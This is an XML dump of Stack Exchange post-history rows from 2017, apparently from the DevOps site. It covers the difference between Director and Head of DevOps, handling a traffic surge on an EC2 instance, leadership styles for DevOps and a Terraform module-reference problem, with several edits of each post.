  <row Id="6824" PostHistoryTypeId="1" PostId="2178" RevisionGUID="c67e479a-03ea-41ce-b4b8-6255cb3c5101" CreationDate="2017-09-28T06:41:39.207" UserId="707" Text="What is the difference between Director of DevOps vs Head of?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6825" PostHistoryTypeId="3" PostId="2178" RevisionGUID="c67e479a-03ea-41ce-b4b8-6255cb3c5101" CreationDate="2017-09-28T06:41:39.207" UserId="707" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6829" PostHistoryTypeId="2" PostId="2180" RevisionGUID="1cd45802-e847-490e-b7dd-304b8c01a088" CreationDate="2017-09-28T06:51:07.847" UserId="4538" Text="I've a iOS app on the app store and recently I've received a huge surge of traffic to my landing page hosted on EC2 and resulted in the page not responding, luckily I managed to recover it by restarting and upgrading the instance to a t2.medium.&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Now I'm looking to hire someone to implement a technology to prevent the same death again. My experience only stretch that far allowing me to understand basic devops stuff but not enough for load balancer on AWS, I want to know what is a affordable implementation for my instance.&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;My landing page and iOS app backend are hosted on the same instance." ContentLicense="CC BY-SA 3.0" />
  <row Id="6830" PostHistoryTypeId="1" PostId="2180" RevisionGUID="1cd45802-e847-490e-b7dd-304b8c01a088" CreationDate="2017-09-28T06:51:07.847" UserId="4538" Text="How to prevent hug of death on EC2 Instance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6831" PostHistoryTypeId="3" PostId="2180" RevisionGUID="1cd45802-e847-490e-b7dd-304b8c01a088" CreationDate="2017-09-28T06:51:07.847" UserId="4538" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6833" PostHistoryTypeId="2" PostId="2181" RevisionGUID="236ac283-f1f5-4d86-a2f5-64022e6aca43" CreationDate="2017-09-28T08:28:09.830" UserId="503" Text="If you want something quick to get this sorted without much more knowledge I'd recommend elastic beanstalk. It's another AWS application which will handle the load balancer configuration and instance scaling for you.&#xD;&#xA;&#xD;&#xA;There's no extra cost on top of the load balancer and instances so you can keep using t2 type instances but let elastic beanstalk scale as much as you want to help.&#xD;&#xA;&#xD;&#xA;Auto scaling isn't instant and in times of spiking traffic will take a short amount of time, minutes normally, to be able to handle a spike but it will be much better than manually scaling the instance size and is really easy to get to grips with." ContentLicense="CC BY-SA 3.0" />
  <row Id="6834" PostHistoryTypeId="2" PostId="2182" RevisionGUID="85ea5110-a290-4205-a8bb-12a25ca06e16" CreationDate="2017-09-28T08:30:31.190" UserId="210" Text="**Director of DevOps**&#xD;&#xA;&#xD;&#xA;https://news.ycombinator.com/item?id=7718989&#xD;&#xA;&#xD;&#xA;&gt; If you are the director of DevOps then it is your job to influence and&#xD;&#xA;&gt; deliver that cultural and organisational change as well as just&#xD;&#xA;&gt; running operations.&#xD;&#xA;&#xD;&#xA;https://careers.pipercompanies.com/job-details/director-of-devops/15621/1/?source=Indeed&#xD;&#xA;&#xD;&#xA;&gt; Responsibilities of the Director of DevOps&#xD;&#xA;&gt; &#xD;&#xA;&gt; Design, architect, and implement next generation system architecture and automation solutions;&#xD;&#xA;&#xD;&#xA;&gt; Implement, maintain, and improve Continuous Integration and Continuous Delivery environments;&#xD;&#xA;&#xD;&#xA;&gt; Own and lead initiatives to define, design, and implement DevOps solutions, which includes reference architectures, estimates, and&#xD;&#xA;&gt; costing;&#xD;&#xA;&#xD;&#xA;&gt; Provide technical leadership, project guidance, and business development in various mobile technology areas;&#xD;&#xA;&#xD;&#xA;&gt; Advise business and technology delivery leadership on how to translate the client’s infrastructure and automation business&#xD;&#xA;&gt; requirements into executable technology solutions;&#xD;&#xA;&#xD;&#xA;**Head of DevOps**&#xD;&#xA;&#xD;&#xA;https://pete.wtf/2013/05/03/devops-in-your-job-title-is-doing-you-harm/&#xD;&#xA;&#xD;&#xA;&gt; When you are the Head of DevOps, you “Own” DevOps. If DevOps fails it&#xD;&#xA;&gt; is your failure, when it should be a failure of the entire company to&#xD;&#xA;&gt; change, adapt, and accept the cultural shift.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6835" PostHistoryTypeId="5" PostId="2182" RevisionGUID="3e84f51e-6fe5-42d2-8a85-98b9d1f82f59" CreationDate="2017-09-28T08:40:23.023" UserId="210" Comment="added 3185 characters in body" Text="**Director of DevOps**&#xD;&#xA;&#xD;&#xA;https://news.ycombinator.com/item?id=7718989&#xD;&#xA;&#xD;&#xA;&gt; If you are the director of DevOps then it is your job to influence and&#xD;&#xA;&gt; deliver that cultural and organisational change as well as just&#xD;&#xA;&gt; running operations.&#xD;&#xA;&#xD;&#xA;https://careers.pipercompanies.com/job-details/director-of-devops/15621/1/?source=Indeed&#xD;&#xA;&#xD;&#xA;&gt; Responsibilities of the Director of DevOps&#xD;&#xA;&gt; &#xD;&#xA;&gt; Design, architect, and implement next generation system architecture and automation solutions;&#xD;&#xA;&#xD;&#xA;&gt; Implement, maintain, and improve Continuous Integration and Continuous Delivery environments;&#xD;&#xA;&#xD;&#xA;&gt; Own and lead initiatives to define, design, and implement DevOps solutions, which includes reference architectures, estimates, and&#xD;&#xA;&gt; costing;&#xD;&#xA;&#xD;&#xA;&gt; Provide technical leadership, project guidance, and business development in various mobile technology areas;&#xD;&#xA;&#xD;&#xA;&gt; Advise business and technology delivery leadership on how to translate the client’s infrastructure and automation business&#xD;&#xA;&gt; requirements into executable technology solutions;&#xD;&#xA;&#xD;&#xA;**Head of DevOps**&#xD;&#xA;&#xD;&#xA;https://pete.wtf/2013/05/03/devops-in-your-job-title-is-doing-you-harm/&#xD;&#xA;&#xD;&#xA;&gt; When you are the Head of DevOps, you “Own” DevOps. If DevOps fails it&#xD;&#xA;&gt; is your failure, when it should be a failure of the entire company to&#xD;&#xA;&gt; change, adapt, and accept the cultural shift.&#xD;&#xA;&#xD;&#xA;https://www.cleverism.com/job-profiles/head-of-devops/&#xD;&#xA;&#xD;&#xA;&gt; Leadership/Supervisory Role: His leadership position is the Head of&#xD;&#xA;&gt; DevOps’ most prominent role and in this position he oversees and&#xD;&#xA;&gt; guides all activities of the junior DevOps teams. The Head of DevOps&#xD;&#xA;&gt; leads the design, build, and operational management of highly secure&#xD;&#xA;&gt; and scalable sites/software for the business and works tirelessly to&#xD;&#xA;&gt; guarantee the reduction or removal of bottlenecks and inefficiencies&#xD;&#xA;&gt; in the DevOps department and engineering department as a whole.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As the leader of the DevOps department, the Head of DevOps promotes,&#xD;&#xA;&gt; documents, and implements systems infrastructure best practices,&#xD;&#xA;&gt; building tools that allow the department to develop and deploy&#xD;&#xA;&gt; impeccable sites/software. The Head of DevOps also creates tools that&#xD;&#xA;&gt; leverage productivity amplifiers such as code generators and schema&#xD;&#xA;&gt; repositories for scalable deployment.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Aspects of his leadership position will also encompass both quality&#xD;&#xA;&gt; assurance and continuous site/software testing. The Head of DevOps&#xD;&#xA;&gt; plays a mentorship role to key DevOps personnel, constantly promoting&#xD;&#xA;&gt; improvement in their professional skills and readying them for the&#xD;&#xA;&gt; occupation of his position in the future.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Design and Development/Strategy: The Head of DevOps will also play a&#xD;&#xA;&gt; strategic role where he will design and build infrastructure for&#xD;&#xA;&gt; sites/software, ensuring the highest levels of security and responding&#xD;&#xA;&gt; swiftly to any new and emerging vulnerabilities and security threats.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Head of DevOps creates tools and automated workflow capabilities&#xD;&#xA;&gt; in order to enable the business’s software engineering teams to test&#xD;&#xA;&gt; and promote code across the engineering department. The Head of DevOps&#xD;&#xA;&gt; also builds, configures, and maintains the frameworks, tools, and&#xD;&#xA;&gt; systems that enable optimal performance of the business’s&#xD;&#xA;&gt; sites/software. He additionally leads the design and implementation of&#xD;&#xA;&gt; real-time monitoring systems of these sites/software.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Collaboration/Support: The role of the Head of DevOps as expected is a&#xD;&#xA;&gt; highly collaborative one. In his collaborative capacity, the Head of&#xD;&#xA;&gt; DevOps works hand-in-hand with the frontend and backend engineering&#xD;&#xA;&gt; teams in all technical operations and works to reduce or eliminate any&#xD;&#xA;&gt; repetitive or manual tasks.&#xD;&#xA;&gt; &#xD;&#xA;&gt; In this collaboration, the Head of DevOps also provides hands-on&#xD;&#xA;&gt; support to the frontend and backend engineering teams by enabling the&#xD;&#xA;&gt; migration of site/software services throughout transition periods. The&#xD;&#xA;&gt; Head of DevOps also works with junior DevOps personnel in improving&#xD;&#xA;&gt; health and performance issues of the businesses sites/software&#xD;&#xA;&gt; systems.&#xD;&#xA;&gt; &#xD;&#xA;&gt; He additionally collaborates with the quality assurance department in&#xD;&#xA;&gt; creating solution designs, capacity planning, and performance&#xD;&#xA;&gt; optimization. The Head of DevOps further works alongside senior&#xD;&#xA;&gt; engineering departmental leadership in deploying sites/software.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Other Duties: The Head of DevOps also performs similar duties as&#xD;&#xA;&gt; delegated by the Director IT operations, Chief Technology Officer, or&#xD;&#xA;&gt; the Employer." ContentLicense="CC BY-SA 3.0" />
  <row Id="6836" PostHistoryTypeId="5" PostId="2174" RevisionGUID="a5f8856c-ed44-4304-b2b0-6ea4034d32f7" CreationDate="2017-09-28T08:41:45.140" UserId="503" Comment="Made the answer less opinion based and mentioned Atom's main downside." Text="At the moment I am using [Atom][1] which I think is a decent application which has wide support for all of the DSL's you've mentioned at the trade off of some speed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://atom.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6837" PostHistoryTypeId="24" PostId="2174" RevisionGUID="a5f8856c-ed44-4304-b2b0-6ea4034d32f7" CreationDate="2017-09-28T08:41:45.140" Comment="Proposed by 503 approved by 3616 edit id of 461" ContentLicense="CC BY-SA 3.0" />
  <row Id="6838" PostHistoryTypeId="5" PostId="2182" RevisionGUID="23d301a0-3377-41e4-a164-0579ce6b5a80" CreationDate="2017-09-28T08:48:08.750" UserId="210" Comment="deleted 4446 characters in body" Text="**Director of DevOps**&#xD;&#xA;&#xD;&#xA;Implement a DevOps culture&#xD;&#xA;&#xD;&#xA;**Head of DevOps**&#xD;&#xA;&#xD;&#xA;Owner of DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="6839" PostHistoryTypeId="5" PostId="2182" RevisionGUID="f82bcd83-5582-48f7-bc36-33b305c8ddeb" CreationDate="2017-09-28T08:57:00.823" UserId="210" Comment="added 121 characters in body" Text="**Director of DevOps**&#xD;&#xA;&#xD;&#xA;According to [this source][1] a Director of DevOps task is to implement a DevOps culture&#xD;&#xA;&#xD;&#xA;*Responsibilities*&#xD;&#xA;&#xD;&#xA; - Automation&#xD;&#xA;&#xD;&#xA; - CI/CD&#xD;&#xA;&#xD;&#xA; - List item&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;&#xD;&#xA;https://careers.pipercompanies.com/job-details/director-of-devops/15621/1/?source=Indeed&#xD;&#xA;&#xD;&#xA;**Head of DevOps**&#xD;&#xA;&#xD;&#xA;Owner of DevOps&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://news.ycombinator.com/item?id=7718989" ContentLicense="CC BY-SA 3.0" />
  <row Id="6844" PostHistoryTypeId="5" PostId="2182" RevisionGUID="2b627207-e15e-488a-a1ec-564cc27a4126" CreationDate="2017-09-28T09:22:17.323" UserId="210" Comment="deleted 218 characters in body" Text="**Director of DevOps**&#xD;&#xA;&#xD;&#xA;Implement a DevOps culture and organization&#xD;&#xA;&#xD;&#xA;**Head of DevOps**&#xD;&#xA;&#xD;&#xA;Owner of DevOps&#xD;&#xA;&#xD;&#xA;  [1]: https://news.ycombinator.com/item?id=7718989" ContentLicense="CC BY-SA 3.0" />
  <row Id="6846" PostHistoryTypeId="5" PostId="2182" RevisionGUID="f15fb33e-095a-497b-b25d-7fc7bcc29139" CreationDate="2017-09-28T09:37:29.550" UserId="210" Comment="added 392 characters in body" Text="It is not clear whether there is a clear difference between a Director of DevOps and a Head of DevOps, e.g. according to [this vacancy][1] both roles are the same, while according to [this][2] the Head of Devops is the owner and responsible for DevOps, while a [Director of DevOps][3] is responsible for implementing a DevOps culture.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.comeet.co/jobs/naturalint/71.001/director-of-devops-and-it/56.405&#xD;&#xA;  [2]: https://pete.wtf/2013/05/03/devops-in-your-job-title-is-doing-you-harm/&#xD;&#xA;  [3]: https://news.ycombinator.com/item?id=7718989" ContentLicense="CC BY-SA 3.0" />
  <row Id="6847" PostHistoryTypeId="5" PostId="2177" RevisionGUID="0c88c208-9de7-47f4-a290-6195fda28c5c" CreationDate="2017-09-28T09:42:07.493" UserId="707" Comment="added 129 characters in body" Text="Would you say from experience, either task or relationship leadership style works better for DevOps?&#xD;&#xA;Or would you go for something else in this context than [Forsyth's theory][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Task-oriented_and_relationship-oriented_leadership" ContentLicense="CC BY-SA 3.0" />
  <row Id="6848" PostHistoryTypeId="2" PostId="2184" RevisionGUID="2f7dceed-3930-4e4d-b58e-6596f0c32cf5" CreationDate="2017-09-28T09:52:57.367" UserId="210" Text="Different types of leadership styles are required. If one would like to start with DevOps in a company one has to apply a different leadership style then when it is already implemented.&#xD;&#xA;&#xD;&#xA;When one starts with DevOps a cultural change has to be done and engineers should get ride of for example the &quot;through it over the wall&quot; mindset. When DevOps has been implemented a leader should be able to communicate well with other teams to connect multiple departments in a company.&#xD;&#xA;&#xD;&#xA;In summary, in the beginning a leadership style that motivates people to implement DevOps is required. Later communication between teams and how the team will work in the organization, i.e. more focus on external.&#xD;&#xA;&#xD;&#xA;A leadership style that could be used to implement DevOps is a transformational leadership style." ContentLicense="CC BY-SA 3.0" />
  <row Id="6849" PostHistoryTypeId="2" PostId="2185" RevisionGUID="eef47cc2-d3cf-4ff6-bacb-a9df0ed2ab0a" CreationDate="2017-09-28T10:01:39.573" UserId="4508" Text="i want to get auto scalling group variable name in module_apps and used in other module ex :module_init, however when i try to run &quot;terraform plan&quot; still not success&#xD;&#xA;&#xD;&#xA;# content of module_apps&#xD;&#xA;resource &quot;aws_autoscaling_group&quot; &quot;example&quot; &#xD;&#xA; &lt;br&gt; {&#xD;&#xA;    &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;name = &quot;asg-ad&quot;&#xD;&#xA;    &#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  output &quot;asg_name&quot; &#xD;&#xA; &lt;br&gt; {&#xD;&#xA;    &lt;br&gt;value = &quot;${aws_autoscaling_group.example.name}&quot;&#xD;&#xA;  &lt;br&gt;}&#xD;&#xA; &#xD;&#xA;# content module_init&#xD;&#xA;module &quot;module_init&quot; &#xD;&#xA;{&#xD;&#xA;&#xD;&#xA;  source = &quot;../module_apps&quot;&#xD;&#xA; &lt;br&gt; asg_name = &quot;${module.module_init.asg_name}&quot;&#xD;&#xA;&lt;br&gt;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;try to run terraform plan seems can't get the source module&#xD;&#xA;&#xD;&#xA;o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6850" PostHistoryTypeId="1" PostId="2185" RevisionGUID="eef47cc2-d3cf-4ff6-bacb-a9df0ed2ab0a" CreationDate="2017-09-28T10:01:39.573" UserId="4508" Text="reusable module in terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="6851" PostHistoryTypeId="3" PostId="2185" RevisionGUID="eef47cc2-d3cf-4ff6-bacb-a9df0ed2ab0a" CreationDate="2017-09-28T10:01:39.573" UserId="4508" Text="&lt;amazon-ec2&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6852" PostHistoryTypeId="5" PostId="2185" RevisionGUID="047d1acc-155e-4217-927a-8b68d8e79a96" CreationDate="2017-09-28T10:05:03.880" UserId="4289" Comment="Improved formatting and grammar." Text="I want to get an `autoscaling group name` variable in `module_apps` and use it in other modules - for example `module_init`. However when I try to run `terraform plan` it does not work.&#xD;&#xA;&#xD;&#xA;# content of module_apps&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; &#xD;&#xA;     &lt;br&gt; {&#xD;&#xA;        &lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;name = &quot;asg-ad&quot;&#xD;&#xA;        &#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      output &quot;asg_name&quot; &#xD;&#xA;     &lt;br&gt; {&#xD;&#xA;        &lt;br&gt;value = &quot;${aws_autoscaling_group.example.name}&quot;&#xD;&#xA;      &lt;br&gt;}&#xD;&#xA;     &#xD;&#xA;    # content module_init&#xD;&#xA;    module &quot;module_init&quot; &#xD;&#xA;    {&#xD;&#xA;    &#xD;&#xA;      source = &quot;../module_apps&quot;&#xD;&#xA;     &lt;br&gt; asg_name = &quot;${module.module_init.asg_name}&quot;&#xD;&#xA;    &lt;br&gt;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Trying to run `terraform plan` seems that it can't get the source module:&#xD;&#xA;&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6853" PostHistoryTypeId="4" PostId="2185" RevisionGUID="047d1acc-155e-4217-927a-8b68d8e79a96" CreationDate="2017-09-28T10:05:03.880" UserId="4289" Comment="Improved formatting and grammar." Text="Reusable module in Terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="6854" PostHistoryTypeId="6" PostId="2185" RevisionGUID="047d1acc-155e-4217-927a-8b68d8e79a96" CreationDate="2017-09-28T10:05:03.880" UserId="4289" Comment="Improved formatting and grammar." Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6855" PostHistoryTypeId="24" PostId="2185" RevisionGUID="047d1acc-155e-4217-927a-8b68d8e79a96" CreationDate="2017-09-28T10:05:03.880" Comment="Proposed by 4289 approved by 13 edit id of 462" ContentLicense="CC BY-SA 3.0" />
  <row Id="6856" PostHistoryTypeId="5" PostId="2185" RevisionGUID="98e860af-3339-489b-bfdf-58eeb3dea1dd" CreationDate="2017-09-28T10:05:21.847" UserId="4508" Comment="Improved formatting and grammar." Text="I want to get an `autoscaling group name` variable in `module_apps` and use it in other modules - for example `module_init`. However when I try to run `terraform plan` it does not work.&#xD;&#xA;&#xD;&#xA;# content of module_apps&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; &#xD;&#xA;      {&#xD;&#xA;        name = &quot;asg-ad&quot;&#xD;&#xA;        &#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      output &quot;asg_name&quot; &#xD;&#xA;      {&#xD;&#xA;        value = &quot;${aws_autoscaling_group.example.name}&quot;&#xD;&#xA;      }&#xD;&#xA;     &#xD;&#xA;# content of module_init&#xD;&#xA;    module &quot;module_init&quot; &#xD;&#xA;    {&#xD;&#xA;    &#xD;&#xA;      source = &quot;../module_apps&quot;&#xD;&#xA;      asg_name = &quot;${module.module_init.asg_name}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Trying to run `terraform plan` seems that it can't get the source module:&#xD;&#xA;&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;&#xD;&#xA;thanks in advance&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6857" PostHistoryTypeId="4" PostId="2185" RevisionGUID="98e860af-3339-489b-bfdf-58eeb3dea1dd" CreationDate="2017-09-28T10:05:21.847" UserId="4508" Comment="Improved formatting and grammar." Text="Reusable module in Terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="6858" PostHistoryTypeId="6" PostId="2185" RevisionGUID="98e860af-3339-489b-bfdf-58eeb3dea1dd" CreationDate="2017-09-28T10:05:21.847" UserId="4508" Comment="Improved formatting and grammar." Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6859" PostHistoryTypeId="5" PostId="2185" RevisionGUID="902b07b1-e0d2-42c4-b737-01e31fe79cfb" CreationDate="2017-09-28T10:13:52.707" UserId="4289" Comment="Improved formatting." Text="I want to get an `autoscaling group name` variable in `module_apps` and use it in other modules - for example `module_init`. However when I try to run `terraform plan` it does not work.&#xD;&#xA;&#xD;&#xA;# content of module_apps&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; &#xD;&#xA;    {&#xD;&#xA;      name = &quot;asg-ad&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    output &quot;asg_name&quot; &#xD;&#xA;    {&#xD;&#xA;      value = &quot;${aws_autoscaling_group.example.name}&quot;&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;# content of module_init&#xD;&#xA;    module &quot;module_init&quot; &#xD;&#xA;    {&#xD;&#xA;      source = &quot;../module_apps&quot;&#xD;&#xA;      asg_name = &quot;${module.module_init.asg_name}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Trying to run `terraform plan` seems that it can't get the source module:&#xD;&#xA;&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="6860" PostHistoryTypeId="24" PostId="2185" RevisionGUID="902b07b1-e0d2-42c4-b737-01e31fe79cfb" CreationDate="2017-09-28T10:13:52.707" Comment="Proposed by 4289 approved by -1 edit id of 463" ContentLicense="CC BY-SA 3.0" />
  <row Id="6861" PostHistoryTypeId="5" PostId="2185" RevisionGUID="9ce6ac9f-0ac9-49c3-b2c8-4c32606d9669" CreationDate="2017-09-28T10:13:52.707" UserId="210" Comment="Improved formatting." Text="I want to get an `autoscaling group name` variable in `module_apps` and use it in other modules - for example `module_init`. However when I try to run `terraform plan` it does not work.&#xD;&#xA;&#xD;&#xA;# content of module_apps&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; &#xD;&#xA;    {&#xD;&#xA;      name = &quot;asg-ad&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    output &quot;asg_name&quot; &#xD;&#xA;    {&#xD;&#xA;      value = &quot;${aws_autoscaling_group.example.name}&quot;&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;# content of module_init&#xD;&#xA;    module &quot;module_init&quot; &#xD;&#xA;    {&#xD;&#xA;      source = &quot;../module_apps&quot;&#xD;&#xA;      asg_name = &quot;${module.module_init.asg_name}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Trying to run `terraform plan` seems that it can't get the source module:&#xD;&#xA;&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user/terraform/application/module_apps&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_elb&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_deloy&#xD;&#xA;    o:Get: file:///home/user//terraform/application/module_init&#xD;&#xA;    